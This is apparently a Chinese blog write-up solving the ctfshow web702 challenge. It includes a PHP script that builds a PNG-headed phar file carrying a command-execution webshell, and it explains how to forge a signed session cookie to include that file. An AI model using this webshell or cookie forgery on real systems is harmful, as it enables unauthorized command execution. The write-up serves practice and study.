当前位置: 首页 > article >正文

ctfshow-大赛原题-web702

因为该题没有理解到位,导致看wp也一直出错,特此反思一下。

参考yu22x师傅的文章 :CTFSHOW大赛原题篇(web696-web710)_ctfshow 大赛原题-CSDN博客

首先拿到题目:

// www.zip 下载源码

我们的思路就是包含一个css文件,这个css文件是压缩到phar中的,那么如何绕过文件上传必须是PNG的限制呢,就可以手动赋值一个文件头

<?php
$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->addFromString('exp.css', '<?php system($_GET["cmd"]); ?>');
$phar->setStub($png_header . '<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();

 

结合这个data和signature,我们可以先创建一个账号登录一下:

eyJuYW1lIjoiMTIzXzEyMyJ9.JDJ5JDEwJHNuOWJqbDQzc1pjTTJFd2FCVWV0ZnV0WDZ5UDJWaERTbnNxWU5pMGowcERwVEFhbXVWUTJD

 那么再传入我们生成的phar文件再查看一下cookie的变化:

(我们发现这两次的cookie签名值是不同的),如果签名值是不同的那么我们添加theme参数的时候就会让我们重新登录无法进行命令执行了

eyJuYW1lIjoiMTIzXzEyMyIsImF2YXRhciI6ImVkY2Q1M2U2LnBuZyJ9.JDJ5JDEwJE96SlRZZ2puQ1NQM2lGWHRrNzlPTWU4dEY0VmpVVld5SzJEMGwuMVh3Q0tjbmNsNEJKbG1H

接下来我们需要关注一个比较有意思的地方:

现在我们需要考虑的是我们怎么凑才能把data这个消息也就是咱们cookie "." 前面的字符串是72位以上呢?

我们需要访问/upload.php 但是不需要上传文件即可:

 

这样就凑够了72以上字符,

因为此处凑够了72以上字符,因此后面添加theme后,我们就需要用这个签名

eyJuYW1lIjoiMTIzXzEyMyIsImF2YXRhciI6ImVkY2Q1M2U2LnBuZyIsImZsYXNoIjp7InR5cGUiOiJlcnJvciIsIm1lc3NhZ2UiOiJObyBmaWxlIHdhcyB1cGxvYWRlZC4ifX0.JDJ5JDEwJEpINWNYWEdqdzhYSXIzYVJDQnE1dHVLSi9rRWpoM3NXUzN1NXkxOVhWT1gwV2JoNXZITVFD

 {"name":"123_123","avatar":"edcd53e6.png","flash":{"type":"error","message":"No file was uploaded."},"theme":"phar://uploads/edcd53e6.png/exp"}

接着我们利用util类里面的urlsafe_base64_encode函数生成$data再拼接之前的.后面签名即可:

这样就可以执行了,我错误的原因呢就是拿到最初登录时候给的$signature来拼接了

但是没考虑到那个password_hash的特性

 

 具体的思路:

1、可以包含css,所以创建一个css压缩到phar中,生成png的文件头

2、通过访问upload.php凑够那个72字符

{"name":"123_123","avatar":"edcd53e6.png","flash":{"type":"error","message":"No file was uploaded."},"theme":"phar://uploads/edcd53e6.png/exp"}

3、添加theme参数

4、访问/index.php  传cmd参数执行命令

相关文章:

ctfshow-大赛原题-web702

因为该题没有理解到位&#xff0c;导致看wp也一直出错&#xff0c;特此反思一下。 参考yu22x师傅的文章 &#xff1a;CTFSHOW大赛原题篇(web696-web710)_ctfshow 大赛原题-CSDN博客 首先拿到题目&#xff1a; // www.zip 下载源码 我们的思路就是包含一个css文件&#xff0c;…...

Triton(2)——Triton源码接结构

1 triton 3.0.0 源码结构 triton docs/&#xff1a;项目文档 cmake/&#xff1a;构建配置相关 bin/&#xff1a;工具、脚本 CmakeLists.txt&#xff1a;cmake 配置文件 LSCENSE README.md Pyproject.toml&#xff1a;python 项目配置文件 utils/&#xff1a;项目配置文…...

容器docker入门学习

这里写目录标题 容器容器的软件厂商 dockerdocker引擎 虚拟化虚拟化技术 docker安装详解1、安装检查2、安装yum相关的工具3、安装docker-ce软件4、查看docker版本5、启动docker服务6、设置docker开机启动7、查看有哪些docker容器运行进程8、查看容器里有哪些镜像9、下载nginx软…...

Android——动画

帧动画 帧动画就是很多张图片&#xff0c;一帧一帧的播放&#xff0c;形成的一个动画效果。 frame.xml <?xml version"1.0" encoding"utf-8"?> <animation-list xmlns:android"http://schemas.android.com/apk/res/android">&l…...

HarmonyOS NEXT开发教程:全局悬浮窗

今天跟大家分享一下HarmonyOS开发中的悬浮窗。 对于悬浮窗&#xff0c;可能有的同学会想到使用层叠布局是否可以实现&#xff0c;将悬浮窗叠在导航栏组件Tabs上&#xff0c;像这样&#xff1a; Stack({alignContent:Alignment.BottomEnd}){Tabs({barPosition:BarPosition.End…...

守护进程及gdb调试(新手简略版)

一、守护进程 守护进程&#xff08;Daemon Process&#xff09;是一种在后台运行的特殊进程&#xff0c;它独立于控制终端&#xff0c;并且在系统启动时自动运行&#xff0c;通常用于执行一些系统级的任务或提供特定的服务。以下是关于守护进程的详细定义和特点&#xff1a; …...

解锁元生代:ComfyUI工作流与云原生后端的深度融合

目录 蓝耘元生代&#xff1a;智算新势力崛起​ ComfyUI 工作流创建详解​ ComfyUI 初印象​ 蓝耘平台上搭建 ComfyUI 工作流​ 构建基础工作流实操​ 代码示例与原理剖析​ 云原生后端技术全景 云原生后端概念解析​ 核心技术深度解读​ 蓝耘元生代中两者的紧密联系​…...

STM32 基本GPIO控制

目录 GPIO基础知识 ​编辑IO八种工作模式 固件库实现LED点灯 蜂鸣器 按键基础知识 ​编辑继电器 震动传感器 433M无线模块 GPIO基础知识 GPIO(General-Purpose input/output,通用输入/输出接口) 用于感知外部信号&#xff08;输入模式&#xff09;和控制外部设备&…...

汽车免拆诊断案例 | 2019款大众途观L车鼓风机偶尔不工作

故障现象 一辆2019款大众途观L车&#xff0c;搭载DKV发动机和0DE双离合变速器&#xff0c;累计行驶里程约为8万km。车主进厂反映&#xff0c;鼓风机偶尔不工作。 故障诊断  接车后试车&#xff0c;鼓风机各挡位均工作正常。用故障检测仪检测&#xff0c;空调控制单元&#x…...

FastAPI与SQLAlchemy数据库集成

title: FastAPI与SQLAlchemy数据库集成 date: 2025/04/17 15:33:34 updated: 2025/04/17 15:33:34 author: cmdragon excerpt: FastAPI与SQLAlchemy的集成通过创建虚拟环境、安装依赖、配置数据库连接、定义数据模型和实现路由来完成。核心模块包括数据库引擎、会话工厂和声…...

免费将静态网站部署到服务器方法(仅支持HTML,CSS,JS)

原视频链接&#xff1a;把HTML免费部署到网站上&#xff0c;实现别人也能访问的教程来啦QAQ_哔哩哔哩_bilibili 注意&#xff1a;仅支持HTML、CSS、JS。不支持Vue等框架。 1.打开网站www.wordpress.org 点击红框按钮 点击红框按钮下载wordpress模板文件并解压。 将自己编写的…...

4.Rust+Axum Tower 中间件实战:从集成到自定义

摘要 深入探讨 Rust 中 Axum Tower 中间件生态系统&#xff0c;包含实用集成与自定义示例。 一、引言 在 Rust 的 Web 开发领域&#xff0c;Axum 是一个轻量级且功能强大的 Web 框架&#xff0c;而 Tower 中间件生态系统为 Axum 提供了丰富的扩展能力。中间件在 Web 应用中扮…...

51单片机实验一:点亮led灯

目录 一、实验环境与实验器材 二、实验内容及实验步骤 1.用keil 软件创建工程&#xff0c;C文件编写程序&#xff0c;编译生成hex文件​编辑 2.用STC烧写hex文件&#xff0c;点亮第一个LED灯 3.使用法2&#xff0c;点除第一个以外的LED灯 一、实验环境与实验器材 环境&am…...

PyCharm 开发工具 修改字体大小及使用滚轮没有反应

PyCharm 开发工具 修改字体大小及使用滚轮没有反应 提示&#xff1a;帮帮志会陆续更新非常多的IT技术知识&#xff0c;希望分享的内容对您有用。本章分享的是PyCharm 开发工具。前后每一小节的内容是有学习/理解关联性&#xff0c;希望对您有用~ PyCharm 开发工具 修改字体大小…...

AndroidStudio编译报错 Duplicate class kotlin

具体的编译报错信息如下&#xff1a; Duplicate class kotlin.collections.jdk8.CollectionsJDK8Kt found in modules kotlin-stdlib-1.8.10 (org.jetbrains.kotlin:kotlin-stdlib:1.8.10) and kotlin-stdlib-jdk8-1.6.21 (org.jetbrains.kotlin:kotlin-stdlib-jdk8:1.6.21) D…...

zookeeper启动报错have small server identifier

解决方案&#xff1a; 1、查看myid是否有重复 2、查看server.X 与myid的X是否一致 3、启动顺序为myid从小到大的服务器顺序...

1.Framer Motion 中 motion/react 和 motion/react-client 的用法和区别

背景知识&#xff1a;服务器端渲染 (SSR) 和客户端渲染 (CSR) 在最新的 Motion for React&#xff08;原 Framer Motion&#xff09;12.x 及更高版本中&#xff0c;官方提供了两个入口模块&#xff1a;motion/react 和 motion/react-client。二者对外 API 完全一致&#xff0c…...

Django 结合 Vue 实现简单管理系统的详解

以下是一个 Django 结合 Vue 实现简单管理系统的详细步骤及示例代码: 项目整体架构思路 后端:使用 Django 搭建 RESTful API,负责数据的存储和处理。前端:使用 Vue 构建用户界面,通过调用后端 API 实现数据的展示、添加、修改和删除等操作。步骤 1:创建 Django 项目和应…...

简易 Python 爬虫实现,10min可完成带效果源码

目录 准备工作 编写爬虫代码 运行爬虫 查看结果 遇到的问题及解决 总结 前言和效果 本文记录了使用 Python 实现一个简单网页爬虫的过程&#xff0c;目标是爬取 quotes.toscrape.com 的名言和作者&#xff0c;并将结果保存到文本文件。以下是完整步骤&#xff0c;包含环境…...

ArcPy工具箱制作(下)

在上一篇博客中&#xff0c;我们已经初步了解了如何制作ArcPy工具箱&#xff0c;包括工具箱的基本概念、准备工作、脚本编写以及将脚本转换为工具箱的步骤。今天&#xff0c;我们将继续深入探讨ArcPy工具箱的制作&#xff0c;重点介绍一些进阶技巧和优化方法. 一、优化工具箱的…...

492Q 型气缸盖双端面铣削组合铣床总体设计

一、引言 492Q 型气缸盖是发动机的重要组成部分&#xff0c;其双端面的加工精度对发动机的性能和可靠性有着重要影响。设计一款适用于 492Q 型气缸盖双端面铣削的组合铣床&#xff0c;能够提高加工效率和质量&#xff0c;满足发动机生产的需求。 二、总体设计要求 加工精度&…...

YOLO学习笔记 | YOLOv11的改进方向与应用领域

YOLOv11作为目标检测领域的前沿模型,其改进方向和应用领域在多个研究中得到了广泛探索。以下从改进策略和应用场景两个维度进行综合总结: 一、YOLOv11的改进方向 1. 骨干网络(Backbone)优化 Swin Transformer替换:通过引入层次化特征表示和移位窗口自注意力机制,解决了视…...

【学习笔记】Py网络爬虫学习记录(更新中)

目录 一、入门实践——爬取百度网页 二、网络基础知识 1、两种渲染方式 2、HTTP解析 三、Request入门 1、get方式 - 百度搜索/豆瓣电影排行 2、post方式 - 百度翻译 四、数据解析提取三种方式 1、re正则表达式解析 &#xff08;1&#xff09;常用元字符 &#xff0…...

Python + Playwright:编写自动化测试的避坑策略

Python + Playwright:编写自动化测试的避坑策略 前言一、告别 `time.sleep()`,拥抱 Playwright 的智能等待二、选择健壮、面向用户的选择器,优先使用 `data-testid`三、严格管理环境与依赖,确保一致性四、分离测试数据与逻辑,灵活管理数据五、采用 POM 等设计模式,构建可…...

电脑开机启动慢的原因

硬件老化或故障 机械硬盘老化&#xff1a;电脑使用时间较长&#xff0c;机械硬盘的读写速度会逐渐下降。这是因为机械硬盘内部的盘片和磁头在长期使用后&#xff0c;可能会出现磨损、坏道等问题&#xff0c;导致数据读取速度变慢&#xff0c;从而影响开机时系统文件的加载速度&…...

旅游资源网站登录(jsp+ssm+mysql5.x)

旅游资源网站登录(jspssmmysql5.x) 旅游资源网站是一个为旅游爱好者提供全面服务的平台。网站登录界面简洁明了&#xff0c;用户可以选择以管理员或普通用户身份登录。成功登录后&#xff0c;用户可以访问个人中心&#xff0c;进行修改密码和个人信息管理。用户管理模块允许管…...

C语言链接数据库

目录 使用 yum 配置 mysqld 环境 查看 mysqld 服务的版本 创建 mysql 句柄 链接数据库 使用数据库 增加数据 修改数据 查询数据 获取查询结果的行数 获取查询结果的列数 获取查询结果的列名 获取查询结果所有数据 断开链接 C语言访问mysql数据库整体源码 通过…...

WiFi“管家”------hostapd的工作流程

目录 1. 启动与初始化 1.1 解析命令行参数 1.2 读取配置文件 1.3 创建接口和 BSS 数据结构 1.4 初始化驱动程序 2. 认证和关联处理 2.1 监听认证请求 2.2 处理认证请求 2.3 处理关联请求 3. 数据转发 3.1 接收客户端数据 3.2 转发数据 4. 断开连接处理 4.1 处理客…...

中间件--ClickHouse-9--MPP架构(分布式计算架构)

1、MPP 架构基础概念 MPP(Massively Parallel Processing 大规模并行处理) 是一种分布式计算架构&#xff0c;专门设计用来高效处理大规模数据集。在这种架构下*&#xff0c;数据库被分割成多个部分&#xff0c;每个部分可以在不同的服务器节点上并行处理*。这意味着&#xff…...

分布式计算领域的前沿工具:Ray、Kubeflow与Spark的对比与协同

在当今机器学习和大数据领域&#xff0c;分布式计算已成为解决大规模计算问题的关键技术。本文将深入探讨三种主流分布式计算框架——Ray、Kubeflow和Spark&#xff0c;分析它们各自的特点、应用场景以及如何结合它们的优势创建更强大的计算平台。 Spark批量清洗快&#xff0c;…...